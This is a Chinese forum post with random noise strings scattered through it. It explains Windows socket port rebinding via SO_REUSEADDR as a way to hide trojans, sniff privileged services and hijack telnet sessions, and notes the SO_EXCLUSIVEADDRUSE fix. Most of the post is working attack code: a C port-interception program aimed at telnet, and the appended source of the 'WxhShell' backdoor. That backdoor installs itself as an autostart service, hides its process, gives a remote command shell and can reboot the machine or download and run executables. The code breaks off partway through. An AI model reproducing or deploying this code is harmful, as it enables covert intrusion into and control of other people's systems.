社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12797阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: St>`p-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4&N$:j<  
6~W u`  
  saddr.sin_family = AF_INET; bV3lE6z  
!*P&Eat  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9NWloK6bT  
.^XH uN&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _@E "7<\  
p(7QAd4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O}gX{_|6  
8Z:Ezg3^  
  这意味着什么?意味着可以进行如下的攻击: -3mgza  
rR!U;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r]t )x*  
a{`"68  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s#lto0b"8  
(^H5EeGV{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m1e b8yX  
9bn2UiJ k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m4gU*?  
{Bvm'lq`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9Q@*0-  
TmiWjQv`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M7VID6J.  
/ Dw@d,&[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `{G?>z Fp  
G&o64W;-s  
  #include z{6 YC~  
  #include 2cjEex:&  
  #include Bn-J_-%M  
  #include    +a]j[#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l^,qO3ES  
  int main() a RKv+{K  
  { Qcgu`]7}  
  WORD wVersionRequested; Wy(pLBmb  
  DWORD ret; 6_U |(f  
  WSADATA wsaData; _j 5N=I{U  
  BOOL val; > tEK+Y|N}  
  SOCKADDR_IN saddr; nx;$dxx_Ws  
  SOCKADDR_IN scaddr; 4p x_ZD#J  
  int err; aQmfrx  
  SOCKET s; u&SZ lkf6%  
  SOCKET sc; hwDXm9  
  int caddsize; p!GZCf,   
  HANDLE mt; Y*\6o7  
  DWORD tid;   a*Jn#Mx<M  
  wVersionRequested = MAKEWORD( 2, 2 ); ( 2zeG`  
  err = WSAStartup( wVersionRequested, &wsaData ); &A"e,h(^  
  if ( err != 0 ) { \[T{M!s  
  printf("error!WSAStartup failed!\n"); .Qfnd#  
  return -1; u0 BMyH  
  } -,/3"}<^78  
  saddr.sin_family = AF_INET; 9>{t}I d  
   <~O}6HQ#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c `ud;lI  
?{j@6,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M,JA;a, _  
  saddr.sin_port = htons(23); &gWiu9WbS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <N5rv3 s  
  { hBoP=X.~  
  printf("error!socket failed!\n"); 1$OVe4H1  
  return -1; 1C'P)f28  
  } Wo2 v5-  
  val = TRUE; F(E<,l2[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *N'hA5.z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -? Tz.y&  
  { `+^sW#ki  
  printf("error!setsockopt failed!\n"); 4 iKR{P6  
  return -1; I <xy?{s  
  } qM*S*,s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .d e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O8$~*NFJf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ft$^x-d  
Nor`c+,4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .}~$1QKS  
  { oc((Yo+B  
  ret=GetLastError(); 08O7F  
  printf("error!bind failed!\n"); 3/l\ <{  
  return -1; u6p5:oJj,  
  } 77^ "xsa  
  listen(s,2); jjX%$Hr  
  while(1) ,{pGP#  
  { -+' #*V  
  caddsize = sizeof(scaddr); } m6\C5  
  //接受连接请求 K@*rVor{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Tp%5+E  
  if(sc!=INVALID_SOCKET) a(5y>HF  
  { j,4,zA1j|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `>\4"`I  
  if(mt==NULL) U81;7L8  
  {  'X|v+ ?  
  printf("Thread Creat Failed!\n"); mHHzCKE,  
  break; 6I5o2i  
  } OFIMi^@  
  } LjC6?a_?l  
  CloseHandle(mt); n3*UgNg%fK  
  } >j) w\i  
  closesocket(s); ;{]8>`im&4  
  WSACleanup(); rWqkdi1  
  return 0; %P(;8sS  
  }   Kc-Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) #TIX_RXh  
  { 2k+= kt  
  SOCKET ss = (SOCKET)lpParam; q`cEA<~S  
  SOCKET sc; .E#<fz  
  unsigned char buf[4096]; ;hkro$  
  SOCKADDR_IN saddr; K`~BL=KI  
  long num; jjX'_E  
  DWORD val; ^W5>i[  
  DWORD ret; X:R%1+&*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'xsbm^n6a&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :cEd[Jm9  
  saddr.sin_family = AF_INET; G{/;AK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pK<%<dIc  
  saddr.sin_port = htons(23); ,;7`{Nab  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E3LBPXK  
  { W\'Nv/L  
  printf("error!socket failed!\n"); 1Jl{1;c  
  return -1; 7F=2t_2O  
  } P&,hiGTDi  
  val = 100; #jhQBb4?,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I'xC+nL@  
  { R04.K !  
  ret = GetLastError(); .r7D )xNa@  
  return -1; Q6eN+i2 ;  
  } ZU)BJ!L,s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v3?kFd7%H~  
  { xnT3^ #-h  
  ret = GetLastError(); " \`BPN  
  return -1; g)X7FxS,z  
  } HgYc@P*b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mp^^!AP9  
  { -g9^0V`G  
  printf("error!socket connect failed!\n"); NP$e-" 1  
  closesocket(sc); *&(2`#C;  
  closesocket(ss); `}[VwQ  
  return -1; 1 pa*T!  
  } +g)_4fV0|  
  while(1) AS`2=w  
  { lt{lHat1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kV_#9z7%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =d}gv6v2S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *Yj~]E0`1  
  num = recv(ss,buf,4096,0); +:fqL  
  if(num>0) 5r^1CFO  
  send(sc,buf,num,0); Qk+=znJ  
  else if(num==0) W]Y@WKeT  
  break; mXQl;  
  num = recv(sc,buf,4096,0); w'!ECm>*`  
  if(num>0) &$<(D0  
  send(ss,buf,num,0); -l\~p4U  
  else if(num==0) o<Xc,mP  
  break; W\&WS"=~  
  } tCuN?_ UG  
  closesocket(ss); 3w t:5 Im  
  closesocket(sc); mfu*o0   
  return 0 ; g8LT7  
  } di"C]" ;  
N-X VRuv  
s.VUd R"  
========================================================== !'Pk jP  
VV?]U$  
下边附上一个代码,,WXhSHELL Y0@'za^y  
yJF 2  
========================================================== .Ln;m8  
`l+ >iM  
#include "stdafx.h" FYp|oD2=1  
gsLr=  
#include <stdio.h> ov?.:M  
#include <string.h> "}0)YRz%  
#include <windows.h> +R2^* *<  
#include <winsock2.h> a];BW)  
#include <winsvc.h> I~d#p ]>  
#include <urlmon.h> F9Ifw><XM  
's$A+8;L  
#pragma comment (lib, "Ws2_32.lib") NE$VeW+@  
#pragma comment (lib, "urlmon.lib") #=`FM:WH  
}l,T~Pjb  
#define MAX_USER   100 // 最大客户端连接数 zY]Bu-S3  
#define BUF_SOCK   200 // sock buffer CWE Ejl  
#define KEY_BUFF   255 // 输入 buffer @*CAn(@#N  
;[;)P tFz\  
#define REBOOT     0   // 重启 R#"U/8b>z  
#define SHUTDOWN   1   // 关机 %T`4!:vy  
gV<0Hj  
#define DEF_PORT   5000 // 监听端口 ]]\)=F`n77  
qgwv=5|  
#define REG_LEN     16   // 注册表键长度 T r SN00  
#define SVC_LEN     80   // NT服务名长度 J!=](s5|  
ZmEG<T05  
// 从dll定义API aSn0o_4bD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (:_%kmu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M3DxapG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l4iuu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W2}%zux  
08zi/g2 3  
// wxhshell配置信息 i!CKA}",  
struct WSCFG { &_< VZS  
  int ws_port;         // 监听端口 B0-4 ZT  
  char ws_passstr[REG_LEN]; // 口令 ."~7 \E> t  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 eSN+q  
  char ws_regname[REG_LEN]; // 注册表键名 t7{L[C$  
  char ws_svcname[REG_LEN]; // 服务名 RnMBGxa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DCEvr"(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]NaMZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y3&Tv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4a(g<5wfI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JK@izI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |HaU3E*R  
[ea6dv4p  
}; *]{9K  
mr:kn0  
// default Wxhshell configuration T^/Gj|N*  
struct WSCFG wscfg={DEF_PORT, xB?S#5G}  
    "xuhuanlingzhe", ddUjs8VvJ  
    1, `U {o:  
    "Wxhshell", ,H.(\p_N  
    "Wxhshell", >$7wA9YhL  
            "WxhShell Service", -D!#W%y8  
    "Wrsky Windows CmdShell Service", J>HLQP  
    "Please Input Your Password: ", .yctE:n  
  1, ^/`#9]<%  
  "http://www.wrsky.com/wxhshell.exe", E[)7tr  
  "Wxhshell.exe" j[$B\H  
    }; >uBV  
o7_MMeQ4  
// 消息定义模块 J{nyo1A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .nj?;).  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Rz<d%C;R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A2g"=x[1@K  
char *msg_ws_ext="\n\rExit."; !A'`uf4u  
char *msg_ws_end="\n\rQuit."; ,^MW)Gf<  
char *msg_ws_boot="\n\rReboot..."; 7,V!Iv^X  
char *msg_ws_poff="\n\rShutdown..."; tz\+'6NpOb  
char *msg_ws_down="\n\rSave to "; 7&;[an^w  
pm'@2dT  
char *msg_ws_err="\n\rErr!"; s,UN'~e1  
char *msg_ws_ok="\n\rOK!"; l|@/?GaH  
GibggOj2Q,  
char ExeFile[MAX_PATH]; "TBQNWZ  
int nUser = 0; ]wkSAi5z*  
HANDLE handles[MAX_USER]; T+AlcOP  
int OsIsNt; s${T*)S@G  
()@.;R.Z  
SERVICE_STATUS       serviceStatus; {V]Qwz)1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CX&yjT6`  
eZN3H"H  
// 函数声明 < "L){$  
int Install(void); ?)Czl4J  
int Uninstall(void); BNL8hK`D  
int DownloadFile(char *sURL, SOCKET wsh); L}e"nzTE6I  
int Boot(int flag); <B ]i80.  
void HideProc(void); 877EKvsiC  
int GetOsVer(void); q G :jnl  
int Wxhshell(SOCKET wsl); Z]7;u>2  
void TalkWithClient(void *cs); \U)2 Tg  
int CmdShell(SOCKET sock); VgFF+Eg  
int StartFromService(void); Se^/VVm  
int StartWxhshell(LPSTR lpCmdLine); GvZac  
zCBtD_@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y~]I Vl"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fG8}=xH_&  
#.\,y>`  
// 数据结构和表定义 #q~3c;ec  
SERVICE_TABLE_ENTRY DispatchTable[] = *!r\GGb  
{ :Fi%Cef|  
{wscfg.ws_svcname, NTServiceMain}, h30QCk  
{NULL, NULL} DJ mQZ+{2  
}; Y2=Brtc[@  
Oi kU$~|  
// 自我安装 F(KH-  
int Install(void) SCfkv|hO  
{ }Ke}rM<  
  char svExeFile[MAX_PATH]; Uf7F8JZmM  
  HKEY key; +2;#9aa I  
  strcpy(svExeFile,ExeFile); fcE/  
.UT,lqEkv  
// 如果是win9x系统,修改注册表设为自启动 {0A[v}X ~  
if(!OsIsNt) { hVT=j ?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ga{25q}"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :]u}x Dv3  
  RegCloseKey(key); Ry8WNVO}R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7/^TwNsv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~q8V<@?  
  RegCloseKey(key); Zv1Bju*y  
  return 0; 8aZey_Hw;+  
    } sO{0hZkc  
  } -_{C+Y_  
} l $p_])x  
else { 7?Qt2tr  
h87L8qh9  
// 如果是NT以上系统,安装为系统服务  0'V-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p E(<XD3Q  
if (schSCManager!=0) A5.'h<  
{ (. quX@w"m  
  SC_HANDLE schService = CreateService ,rH)}C<Q+  
  ( /v bO/Mr  
  schSCManager, RXx?/\~yd;  
  wscfg.ws_svcname, /SPAJHh  
  wscfg.ws_svcdisp, 3I>S:|=K  
  SERVICE_ALL_ACCESS, (v'lb!j^#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Y ><ih  
  SERVICE_AUTO_START, 0'\FrG  
  SERVICE_ERROR_NORMAL, [KimY  
  svExeFile, PO%yWns30o  
  NULL, < o'7{  
  NULL, p+`*~6Jj/  
  NULL, '.h/Y/oz  
  NULL, _V7^sk!  
  NULL PFDWC3<  
  ); t5X^(@q4N  
  if (schService!=0) CJ}@R.Zy  
  { cT>z  
  CloseServiceHandle(schService); U3_yEvZ  
  CloseServiceHandle(schSCManager); q*RaX 4V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ltr;pc*)  
  strcat(svExeFile,wscfg.ws_svcname); !7ZfT?&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bW 86Iw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j6R{  
  RegCloseKey(key); 0IPhVG~#  
  return 0; >+; b>  
    } 4M0v1`k  
  } ZB^4(F')H  
  CloseServiceHandle(schSCManager); Pv2nV!X6  
} >Rki[SNb-b  
} 7u`}t83a  
)Py+jc.  
return 1; G%p!os\>  
} qh(-shZ4Du  
UwL"%0u  
// 自我卸载 jzJ1+/9  
int Uninstall(void) L yA(.  
{ e\ l,gQP  
  HKEY key; Cj4b]*Q,  
YAC zznN  
if(!OsIsNt) { )(ZPSg$/F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Lxj )  
  RegDeleteValue(key,wscfg.ws_regname); L1Cn  
  RegCloseKey(key); ~g4rGz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q 5Ghki  
  RegDeleteValue(key,wscfg.ws_regname); "PX3%II  
  RegCloseKey(key); XM@-Y&c$A  
  return 0; .f92^lu9  
  } }_kI>  
} 5k%N<e` `  
} m"|(w`n]E+  
else { 2`FsG/o\T~  
d T,m{[+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S~a:1 _Wl  
if (schSCManager!=0) WH*=81)zp  
{ X_sG6Q@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h&k ^l,  
  if (schService!=0) DT(Zv2  
  { b1,T!xL  
  if(DeleteService(schService)!=0) { 7Yw\%}UL  
  CloseServiceHandle(schService); !DX/^b  
  CloseServiceHandle(schSCManager); $Z7|t  
  return 0; ik:)-GV;s  
  } 3~3(G[w  
  CloseServiceHandle(schService); l3pW{p  
  } 9y|&T  
  CloseServiceHandle(schSCManager); Fx88 R !  
} In9|n^=H@  
} jVFRqT%  
HH~  du  
return 1; @#--dOWYR  
} Ye=7Y57Nr  
hzPB~obC  
// 从指定url下载文件 jQ\ MB  
int DownloadFile(char *sURL, SOCKET wsh) zS"zb  
{ b{|/J<Fe  
  HRESULT hr; >/HU'  
char seps[]= "/"; /glnJ3   
char *token; U`nS` p  
char *file; |e-+xX|;  
char myURL[MAX_PATH]; SSsQu^A  
char myFILE[MAX_PATH]; uuK]<h*  
d>"$^${  
strcpy(myURL,sURL); X @jYQ.  
  token=strtok(myURL,seps); K^qUlyv  
  while(token!=NULL) \PMKmJ X0O  
  { > %cWTC  
    file=token; ]Y: W[p  
  token=strtok(NULL,seps); % K7EF_%  
  } v/ 00L R  
X3=Jp'p$h  
GetCurrentDirectory(MAX_PATH,myFILE); y:[VRLo  
strcat(myFILE, "\\"); I^\bS  
strcat(myFILE, file); bb :|1D  
  send(wsh,myFILE,strlen(myFILE),0); `J ,~hK  
send(wsh,"...",3,0); /'=^^%&:B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -^xKG'uth  
  if(hr==S_OK) J!fc)h  
return 0; =#")G1A  
else 19-yM`O  
return 1; Pc; 14M  
Y./}zCT  
} RdVis|7o  
K\E]X\:  
// 系统电源模块 4C9"Q,o%&  
int Boot(int flag) R6@~   
{ a~eLkWnh<k  
  HANDLE hToken; @?cXa: tX  
  TOKEN_PRIVILEGES tkp; b= ec?n #7  
:2Rci`lp  
  if(OsIsNt) { 8J?`_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )%@WoBRj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A8Z?[,Mq!  
    tkp.PrivilegeCount = 1; *2C79hi1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {f-/,g~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f{5| }PL  
if(flag==REBOOT) { SU}oKii /  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V #\ZS{'J  
  return 0; j nA_!;b  
} Ft8h=  
else { f5qHBQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +ET  
  return 0; [tK:y[nk  
} QDT{Xg* I  
  } T2_#[bk*d  
  else { Ihq@|s8  
if(flag==REBOOT) { a;owG/\p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .,K?\WZ  
  return 0; ~0r.3KTl"Y  
} ne24QZ~}  
else { Qufv@.'AY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y {|~A  
  return 0; -j=&J8Za  
} $`dNl#G,  
} /(pD^D  
IoHkcP[H  
return 1; }%d-U;Tt2  
} tBI+uu aa2  
Rpd/9x.)&  
// win9x进程隐藏模块 X*yp=qI  
void HideProc(void) HYnqx>L ~  
{ {1U*: @j  
*k]S{]Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 12' (MAP  
  if ( hKernel != NULL ) z2q5f :d8  
  { ^Ro du  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7^TXlW n^G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BW-P%:B1!R  
    FreeLibrary(hKernel); D!T4k]^  
  } /IW=+ri  
Ty:Ir  
return; gN'i+mQcu  
} v.v%k2;  
E0A|+P '?  
// 获取操作系统版本 x,G6`|Hl  
int GetOsVer(void) $$f$$  
{ (U(x[Df)  
  OSVERSIONINFO winfo; r<"/P`r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~teW1lMu(  
  GetVersionEx(&winfo); EA E\Xv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v]SE?xF{U  
  return 1; 6$<o^Ha*R  
  else ,fJ(.KI0  
  return 0; WB [G!'  
} YaT+BRh?  
ko>O ~@r  
// 客户端句柄模块 mKn357:  
int Wxhshell(SOCKET wsl) F1*rUsRKN  
{ #TwE??ms  
  SOCKET wsh; &u\z T P  
  struct sockaddr_in client; RW^v{'o  
  DWORD myID; CuO*>g^K[  
UKQ&TV}0  
  while(nUser<MAX_USER) 2.2a2.I1  
{ 3C[4!>|  
  int nSize=sizeof(client); 3Wxtxk._E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :bDn.`KG#  
  if(wsh==INVALID_SOCKET) return 1; {^MAdC_  
xKzFrP;/{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5T3>fw2G  
if(handles[nUser]==0) t% B!\]  
  closesocket(wsh); RAQ;O  
else 2Wf qgR[3  
  nUser++; >Io7h#[u  
  } xxcDd_z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QF "&~  
#LgoKiP!Y  
  return 0; FtDA k?  
} }v ,P3  
.(]1PKW  
// 关闭 socket /G+gk0FW  
void CloseIt(SOCKET wsh) (jFE{M$-  
{ lj*913aFh  
closesocket(wsh); Z9~Wlt'?  
nUser--; [F{a-i-  
ExitThread(0); z9O/MHT[w  
} |Z|xM  
8%f! X51  
// 客户端请求句柄 U(LR('-h  
void TalkWithClient(void *cs) |L{dQ)-'l  
{ =e{KtX.  
&'\+Z  
  SOCKET wsh=(SOCKET)cs; gt(nZ  
  char pwd[SVC_LEN]; A8(PI)Ic.  
  char cmd[KEY_BUFF]; qk1D#1vl  
char chr[1]; 6mpUk.M"  
int i,j; $%8n,FJ[  
yOzKux8kB  
  while (nUser < MAX_USER) { Ao0PFY  
E9-'!I!  
if(wscfg.ws_passstr) { (k.7q~:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t3JPxg]0k'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S*s9 ?  
  //ZeroMemory(pwd,KEY_BUFF); G{=$/&St  
      i=0; 6dp_R2zH~o  
  while(i<SVC_LEN) { I;:_25WGC  
gdNp2b  
  // 设置超时 7/!C  
  fd_set FdRead; SJ+-H83x  
  struct timeval TimeOut; ;#yz i2f  
  FD_ZERO(&FdRead); .cog9H'  
  FD_SET(wsh,&FdRead); 'p]qN;`'O$  
  TimeOut.tv_sec=8; 0\*<k`dY  
  TimeOut.tv_usec=0; %$ ?Q%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d's`~HOU2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vUeel%  
xTm&`Xo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u5M{s;{11r  
  pwd=chr[0]; J"|$V#  
  if(chr[0]==0xd || chr[0]==0xa) { bkIA:2HX  
  pwd=0; (5;xs  
  break; .e#j#tQp  
  } ?7a[| -  
  i++; ovFfTP<3V  
    } s>I}-=.(Q  
=ab}.dWC  
  // 如果是非法用户,关闭 socket OXV@LYP@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;0q6 bp(<H  
} rdg1<Z  
-~ Q3T9+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t}l<#X5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tRCd(Z,WY  
3l[hkRFu`  
while(1) { IxR:a(  
LnX^*;P5t  
  ZeroMemory(cmd,KEY_BUFF); -;z\BW5 y  
k"zHrn"$  
      // 自动支持客户端 telnet标准   U6PUt'Kk@  
  j=0; '|R|7nQAj  
  while(j<KEY_BUFF) { a9Rh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M!'tD!NWc  
  cmd[j]=chr[0]; I =pdjD  
  if(chr[0]==0xa || chr[0]==0xd) { kk#d-! $[  
  cmd[j]=0; M - TK  
  break; ;\.&FMi  
  } TA7w:<  
  j++; !/j|\_O  
    } -E"o)1Pj6C  
oGJI3Oh  
  // 下载文件 6fyW6xv[,  
  if(strstr(cmd,"http://")) { ?GZs5CnS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DLZ63'  
  if(DownloadFile(cmd,wsh)) 6}2Lt[>O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $=R\3:j  
  else VE m[F/'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9x< 8(]\  
  }  ^k=[P  
  else { n\U6oJN  
r$zXb9a|<  
    switch(cmd[0]) { PnvLXE}F  
  JJXf%o0yq  
  // 帮助 <h[^&CY{  
  case '?': { ,0xN#&?Ohh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uRg^:  
    break; nr;/:[F  
  } 8nM]G4H.f  
  // 安装 ?'r[P03  
  case 'i': { }e)ltp|  
    if(Install()) ERplDSfO-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \W!<xE  
    else 5T`39[Fya  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %## bg<  
    break; ;d:7\  
    } ` (<>`  
  // 卸载 d"a`?+(Q  
  case 'r': { &#.&xc2sRZ  
    if(Uninstall()) j!pxG5%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &bb*~W-  
    else on|>"F`pb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); de[_T%A  
    break; [gDvAtTZ5  
    } /hHD\+0({  
  // 显示 wxhshell 所在路径 O.!?O(  
  case 'p': { ( ;q$cKy  
    char svExeFile[MAX_PATH]; DlP=R  
    strcpy(svExeFile,"\n\r"); xhv)rhu@  
      strcat(svExeFile,ExeFile); ]up:pddIh  
        send(wsh,svExeFile,strlen(svExeFile),0); }Na*jr0y9{  
    break; qSR %#  
    } HU'}c*d]  
  // 重启 XUWza=BR"  
  case 'b': { @EvnV.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h fNBWN  
    if(Boot(REBOOT)) nr}H;wB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v{+*/NQ_  
    else { X |as1Y$O+  
    closesocket(wsh); -z@}:N-uR  
    ExitThread(0); (1R,   
    } 4CqZvd C  
    break; 3ul  
